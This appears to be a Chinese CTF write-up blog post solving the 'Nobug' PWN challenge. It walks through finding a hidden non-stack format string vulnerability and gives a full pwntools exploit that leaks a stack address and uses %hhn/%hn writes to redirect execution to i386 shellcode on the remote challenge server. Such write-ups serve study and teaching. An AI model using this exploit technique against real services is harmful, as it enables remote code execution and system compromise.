攻防世界PWN之Nobug题解

161 篇文章 9 订阅
161 篇文章 9 订阅

Nobug

首先,检查一下程序的保护机制

PIE和NX没开,那么,我们可以轻松的布置shellcode到栈里或bss段或堆里,然后跳转。免去了泄露libc地址这些。

然后,我们用IDA分析一下

看似好像这里sprintf不存在漏洞,我们再看看其他函数

看见一个很复杂的函数,我们看看那个地址处是什么

是查表法,看起来像某种加密或解密算法,又由于不需要秘钥,我们推测可能是base64加密或解密,然后,我们测试一下。

我们输入明文,输出总是乱码,我们输入base64字符串,发现正常输出了解密后的内容,由此,我们知道了,这个函数的作用是解密base64字符串。

 

然后,我们继续找找,也没发现什么可疑的地方。再看看其他没有用到的函数

发现这里有一个格式化字符串漏洞的函数,但是似乎这个函数没有被调用,真的是这样吗?

对于sub_8048B76函数,IDA查看伪代码是这样的

我们再看看汇编代码

程序结尾,通过修改esp,决定了retn的返回地址,这类似于ROP技术的思想,由此看来,分析程序不能完全依靠IDA的为代码

分析完了,其实就是存在一个非栈上的格式化字符串漏洞。

我们通过%4$hhn来修改%12$处的数据为%13$的地址,然后通过%12$hhn来修改%13$处为shellcode的地址,然后就能getshell了。我们只需要覆盖低2字节就行了,因为前面是一样的。需要注意的是,这几个操作必须在一次完成。

我们需要泄露%4$处的数据,以计算出我们需要攻击的目标%13$的地址

  1. payload = base64.b64encode('%4$p')  
  2. sh.sendline(payload)  
  3. sh.recvuntil('0x')  
  4. #泄露我们需要修改的目标的地址  
  5. target_addr = int(sh.recvuntil('\n',drop = True),16) + 4  

接下来,就是一次性的修改,getshell。

综上,我们的exp脚本

  1. #coding:utf8  
  2. from pwn import *  
  3. import base64  
  4.   
  5. sh = remote('111.198.29.45',31218)  
  6. #sh = process('./pwnh40')  
  7. elf = ELF('./pwnh40')  
  8. #我们输入的shellcode解密后会被保存到这里  
  9. shellcode_addr = 0x804A0A0  
  10. #shellcode  
  11. shellcode = asm(shellcraft.i386.sh())  
  12.   
  13. payload = base64.b64encode('%4$p')  
  14. sh.sendline(payload)  
  15. sh.recvuntil('0x')  
  16. #泄露我们需要修改的目标的地址  
  17. target_addr = int(sh.recvuntil('\n',drop = True),16) + 4  
  18. print hex(target_addr)  
  19. #发送shellcode,同时,覆盖%12$处为target地址,同时将target处修改为shellcode_addr  
  20. payload = base64.b64encode(shellcode + '%' + str((target_addr & 0xFF) - len(shellcode)) + 'c%4$hhn%' + str((shellcode_addr & 0xFF) - (target_addr & 0xFF)) + 'c%12$hn')  
  21. #getshell  
  22. sh.sendline(payload)  
  23.   
  24. sh.interactive()  

本题告诉我们,分析程序时,不要完全依赖IDA的伪代码。同时,对于一些复杂的算法,可以推测并尝试一下,说不定就是呢。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值